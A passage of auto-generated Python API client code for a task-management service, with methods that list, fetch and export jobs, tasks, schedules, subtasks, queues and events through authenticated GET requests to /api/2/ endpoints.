pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method download_task_log" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `download_task_log`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/tasks/{id}/log/download', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def export_job(self, id, **kwargs): # noqa: E501 """export_job # noqa: E501 ### Required permissions * User account permission: `None` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.export_job(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this job. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.export_job_with_http_info(id, **kwargs) # noqa: E501 def export_job_with_http_info(self, id, **kwargs): # noqa: E501 """export_job # noqa: E501 ### Required permissions * User account permission: `None` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.export_job_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this job. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method export_job" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `export_job`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/jobs/{id}/export', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def get_all_events(self, **kwargs): # noqa: E501 """get_all_events # noqa: E501 ### Required permissions * <class 'rest_framework.permissions.AllowAny'> # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_all_events(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str ordering: Which field to use when ordering the results. :param int limit: Number of results to return per page. :param int offset: The initial index from which to return the results. :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: InlineResponse2002 If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.get_all_events_with_http_info(**kwargs) # noqa: E501 def get_all_events_with_http_info(self, **kwargs): # noqa: E501 """get_all_events # noqa: E501 ### Required permissions * <class 'rest_framework.permissions.AllowAny'> # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_all_events_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str ordering: Which field to use when ordering the results. :param int limit: Number of results to return per page. :param int offset: The initial index from which to return the results. :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(InlineResponse2002, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['ordering', 'limit', 'offset'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_all_events" % key ) local_var_params[key] = val del local_var_params['kwargs'] collection_formats = {} path_params = {} query_params = [] if 'ordering' in local_var_params and local_var_params['ordering'] is not None: # noqa: E501 query_params.append(('ordering', local_var_params['ordering'])) # noqa: E501 if 'limit' in local_var_params and local_var_params['limit'] is not None: # noqa: E501 query_params.append(('limit', local_var_params['limit'])) # noqa: E501 if 'offset' in local_var_params and local_var_params['offset'] is not None: # noqa: E501 query_params.append(('offset', local_var_params['offset'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/events', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='InlineResponse2002', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def get_all_jobs(self, **kwargs): # noqa: E501 """get_all_jobs # noqa: E501 ### Required permissions * User account permission: `None` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_all_jobs(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str special_type: Filter the returned list by `special_type`. :param str special_type__isnull: Filter the returned list by `special_type__isnull`. :param str hook: Filter the returned list by `hook`. :param str name: Filter the returned list by `name`. :param str ordering: Which field to use when ordering the results. :param int limit: Number of results to return per page. :param int offset: The initial index from which to return the results. :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: list[Job] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.get_all_jobs_with_http_info(**kwargs) # noqa: E501 def get_all_jobs_with_http_info(self, **kwargs): # noqa: E501 """get_all_jobs # noqa: E501 ### Required permissions * User account permission: `None` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_all_jobs_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str special_type: Filter the returned list by `special_type`. :param str special_type__isnull: Filter the returned list by `special_type__isnull`. :param str hook: Filter the returned list by `hook`. :param str name: Filter the returned list by `name`. :param str ordering: Which field to use when ordering the results. :param int limit: Number of results to return per page. :param int offset: The initial index from which to return the results. :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(list[Job], status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['special_type', 'special_type__isnull', 'hook', 'name', 'ordering', 'limit', 'offset'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_all_jobs" % key ) local_var_params[key] = val del local_var_params['kwargs'] collection_formats = {} path_params = {} query_params = [] if 'special_type' in local_var_params and local_var_params['special_type'] is not None: # noqa: E501 query_params.append(('special_type', local_var_params['special_type'])) # noqa: E501 if 'special_type__isnull' in local_var_params and local_var_params['special_type__isnull'] is not None: # noqa: E501 query_params.append(('special_type__isnull', local_var_params['special_type__isnull'])) # noqa: E501 if 'hook' in local_var_params and local_var_params['hook'] is not None: # noqa: E501 query_params.append(('hook', local_var_params['hook'])) # noqa: E501 if 'name' in local_var_params and local_var_params['name'] is not None: # noqa: E501 query_params.append(('name', local_var_params['name'])) # noqa: E501 if 'ordering' in local_var_params and local_var_params['ordering'] is not None: # noqa: E501 query_params.append(('ordering', local_var_params['ordering'])) # noqa: E501 if 'limit' in local_var_params and local_var_params['limit'] is not None: # noqa: E501 query_params.append(('limit', local_var_params['limit'])) # noqa: E501 if 'offset' in local_var_params and local_var_params['offset'] is not None: # noqa: E501 query_params.append(('offset', local_var_params['offset'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/jobs', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[Job]', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def get_all_schedules(self, **kwargs): # noqa: E501 """get_all_schedules # noqa: E501 ### Required permissions * User account permission: `tasks:view` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_all_schedules(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str job: Filter the returned list by `job`. :param str ordering: Which field to use when ordering the results. :param int limit: Number of results to return per page. :param int offset: The initial index from which to return the results. :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: list[Schedule] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.get_all_schedules_with_http_info(**kwargs) # noqa: E501 def get_all_schedules_with_http_info(self, **kwargs): # noqa: E501 """get_all_schedules # noqa: E501 ### Required permissions * User account permission: `tasks:view` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_all_schedules_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str job: Filter the returned list by `job`. :param str ordering: Which field to use when ordering the results. :param int limit: Number of results to return per page. :param int offset: The initial index from which to return the results. :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(list[Schedule], status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['job', 'ordering', 'limit', 'offset'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_all_schedules" % key ) local_var_params[key] = val del local_var_params['kwargs'] collection_formats = {} path_params = {} query_params = [] if 'job' in local_var_params and local_var_params['job'] is not None: # noqa: E501 query_params.append(('job', local_var_params['job'])) # noqa: E501 if 'ordering' in local_var_params and local_var_params['ordering'] is not None: # noqa: E501 query_params.append(('ordering', local_var_params['ordering'])) # noqa: E501 if 'limit' in local_var_params and local_var_params['limit'] is not None: # noqa: E501 query_params.append(('limit', local_var_params['limit'])) # noqa: E501 if 'offset' in local_var_params and local_var_params['offset'] is not None: # noqa: E501 query_params.append(('offset', local_var_params['offset'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/schedules', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[Schedule]', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def get_all_subtasks(self, **kwargs): # noqa: E501 """get_all_subtasks # noqa: E501 ### Required permissions * User account permission: `tasks:view` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_all_subtasks(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str parent: Filter the returned list by `parent`. :param str ordering: Which field to use when ordering the results. :param int limit: Number of results to return per page. :param int offset: The initial index from which to return the results. :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: list[Subtask] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.get_all_subtasks_with_http_info(**kwargs) # noqa: E501 def get_all_subtasks_with_http_info(self, **kwargs): # noqa: E501 """get_all_subtasks # noqa: E501 ### Required permissions * User account permission: `tasks:view` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_all_subtasks_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str parent: Filter the returned list by `parent`. :param str ordering: Which field to use when ordering the results. :param int limit: Number of results to return per page. :param int offset: The initial index from which to return the results. :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(list[Subtask], status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['parent', 'ordering', 'limit', 'offset'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_all_subtasks" % key ) local_var_params[key] = val del local_var_params['kwargs'] collection_formats = {} path_params = {} query_params = [] if 'parent' in local_var_params and local_var_params['parent'] is not None: # noqa: E501 query_params.append(('parent', local_var_params['parent'])) # noqa: E501 if 'ordering' in local_var_params and local_var_params['ordering'] is not None: # noqa: E501 query_params.append(('ordering', local_var_params['ordering'])) # noqa: E501 if 'limit' in local_var_params and local_var_params['limit'] is not None: # noqa: E501 query_params.append(('limit', local_var_params['limit'])) # noqa: E501 if 'offset' in local_var_params and local_var_params['offset'] is not None: # noqa: E501 query_params.append(('offset', local_var_params['offset'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/subtasks', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[Subtask]', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def get_all_task_queues(self, **kwargs): # noqa: E501 """get_all_task_queues # noqa: E501 ### Required permissions * <class 'rest_framework.permissions.AllowAny'> # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_all_task_queues(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str ordering: Which field to use when ordering the results. :param int limit: Number of results to return per page. :param int offset: The initial index from which to return the results. :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: InlineResponse2003 If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.get_all_task_queues_with_http_info(**kwargs) # noqa: E501 def get_all_task_queues_with_http_info(self, **kwargs): # noqa: E501 """get_all_task_queues # noqa: E501 ### Required permissions * <class 'rest_framework.permissions.AllowAny'> # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_all_task_queues_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str ordering: Which field to use when ordering the results. :param int limit: Number of results to return per page. :param int offset: The initial index from which to return the results. :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(InlineResponse2003, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['ordering', 'limit', 'offset'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_all_task_queues" % key ) local_var_params[key] = val del local_var_params['kwargs'] collection_formats = {} path_params = {} query_params = [] if 'ordering' in local_var_params and local_var_params['ordering'] is not None: # noqa: E501 query_params.append(('ordering', local_var_params['ordering'])) # noqa: E501 if 'limit' in local_var_params and local_var_params['limit'] is not None: # noqa: E501 query_params.append(('limit', local_var_params['limit'])) # noqa: E501 if 'offset' in local_var_params and local_var_params['offset'] is not None: # noqa: E501 query_params.append(('offset', local_var_params['offset'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/tasks/queues', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='InlineResponse2003', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def get_all_task_types(self, **kwargs): # noqa: E501 """get_all_task_types # noqa: E501 ### Required permissions * <class 'rest_framework.permissions.AllowAny'> # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_all_task_types(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str ordering: Which field to use when ordering the results. :param int limit: Number of results to return per page. :param int offset: The initial index from which to return the results. :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: InlineResponse2004 If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.get_all_task_types_with_http_info(**kwargs) # noqa: E501 def get_all_task_types_with_http_info(self, **kwargs): # noqa: E501 """get_all_task_types # noqa: E501 ### Required permissions * <class 'rest_framework.permissions.AllowAny'> # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_all_task_types_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str ordering: Which field to use when ordering the results. :param int limit: Number of results to return per page. :param int offset: The initial index from which to return the results. :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(InlineResponse2004, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['ordering', 'limit', 'offset'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_all_task_types" % key ) local_var_params[key] = val del local_var_params['kwargs'] collection_formats = {} path_params = {} query_params = [] if 'ordering' in local_var_params and local_var_params['ordering'] is not None: # noqa: E501 query_params.append(('ordering', local_var_params['ordering'])) # noqa: E501 if 'limit' in local_var_params and local_var_params['limit'] is not None: # noqa: E501 query_params.append(('limit', local_var_params['limit'])) # noqa: E501 if 'offset' in local_var_params and local_var_params['offset'] is not None: # noqa: E501 query_params.append(('offset', local_var_params['offset'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/tasks/types', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='InlineResponse2004', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def get_all_tasks(self, **kwargs): # noqa: E501 """get_all_tasks # noqa: E501 ### Required permissions * User account permission: `None` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_all_tasks(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str job_instance: Filter the returned list by `job_instance`. :param str job_instance__in: Multiple values may be separated by commas. :param str subtask: Filter the returned list by `subtask`. :param str state: Filter the returned list by `state`. :param float state__in: Multiple values may be separated by commas. :param str id: Filter the returned list by `id`. :param str id__in: Multiple values may be separated by commas. :param str name: Filter the returned list by `name`. :param str task_name: Filter the returned list by `task_name`. :param str ordering: Which field to use when ordering the results. :param int limit: Number of results to return per page. :param int offset: The initial index from which to return the results. :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: list[TaskInfo] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.get_all_tasks_with_http_info(**kwargs) # noqa: E501 def get_all_tasks_with_http_info(self, **kwargs): # noqa: E501 """get_all_tasks # noqa: E501 ### Required permissions * User account permission: `None` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_all_tasks_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str job_instance: Filter the returned list by `job_instance`. :param str job_instance__in: Multiple values may be separated by commas. :param str subtask: Filter the returned list by `subtask`. :param str state: Filter the returned list by `state`. :param float state__in: Multiple values may be separated by commas. :param str id: Filter the returned list by `id`. :param str id__in: Multiple values may be separated by commas. :param str name: Filter the returned list by `name`. :param str task_name: Filter the returned list by `task_name`. :param str ordering: Which field to use when ordering the results. :param int limit: Number of results to return per page. :param int offset: The initial index from which to return the results. :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(list[TaskInfo], status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['job_instance', 'job_instance__in', 'subtask', 'state', 'state__in', 'id', 'id__in', 'name', 'task_name', 'ordering', 'limit', 'offset'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_all_tasks" % key ) local_var_params[key] = val del local_var_params['kwargs'] collection_formats = {} path_params = {} query_params = [] if 'job_instance' in local_var_params and local_var_params['job_instance'] is not None: # noqa: E501 query_params.append(('job_instance', local_var_params['job_instance'])) # noqa: E501 if 'job_instance__in' in local_var_params and local_var_params['job_instance__in'] is not None: # noqa: E501 query_params.append(('job_instance__in', local_var_params['job_instance__in'])) # noqa: E501 if 'subtask' in local_var_params and local_var_params['subtask'] is not None: # noqa: E501 query_params.append(('subtask', local_var_params['subtask'])) # noqa: E501 if 'state' in local_var_params and local_var_params['state'] is not None: # noqa: E501 query_params.append(('state', local_var_params['state'])) # noqa: E501 if 'state__in' in local_var_params and local_var_params['state__in'] is not None: # noqa: E501 query_params.append(('state__in', local_var_params['state__in'])) # noqa: E501 if 'id' in local_var_params and local_var_params['id'] is not None: # noqa: E501 query_params.append(('id', local_var_params['id'])) # noqa: E501 if 'id__in' in local_var_params and local_var_params['id__in'] is not None: # noqa: E501 query_params.append(('id__in', local_var_params['id__in'])) # noqa: E501 if 'name' in local_var_params and local_var_params['name'] is not None: # noqa: E501 query_params.append(('name', local_var_params['name'])) # noqa: E501 if 'task_name' in local_var_params and local_var_params['task_name'] is not None: # noqa: E501 query_params.append(('task_name', local_var_params['task_name'])) # noqa: E501 if 'ordering' in local_var_params and local_var_params['ordering'] is not None: # noqa: E501 query_params.append(('ordering', local_var_params['ordering'])) # noqa: E501 if 'limit' in local_var_params and local_var_params['limit'] is not None: # noqa: E501 query_params.append(('limit', local_var_params['limit'])) # noqa: E501 if 'offset' in local_var_params and local_var_params['offset'] is not None: # noqa: E501 query_params.append(('offset', local_var_params['offset'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/tasks', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[TaskInfo]', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def get_event(self, id, **kwargs): # noqa: E501 """get_event # noqa: E501 ### Required permissions * <class 'rest_framework.permissions.AllowAny'> # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_event(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str id: (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: Event If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.get_event_with_http_info(id, **kwargs) # noqa: E501 def get_event_with_http_info(self, id, **kwargs): # noqa: E501 """get_event # noqa: E501 ### Required permissions * <class 'rest_framework.permissions.AllowAny'> # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_event_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str id: (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(Event, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected 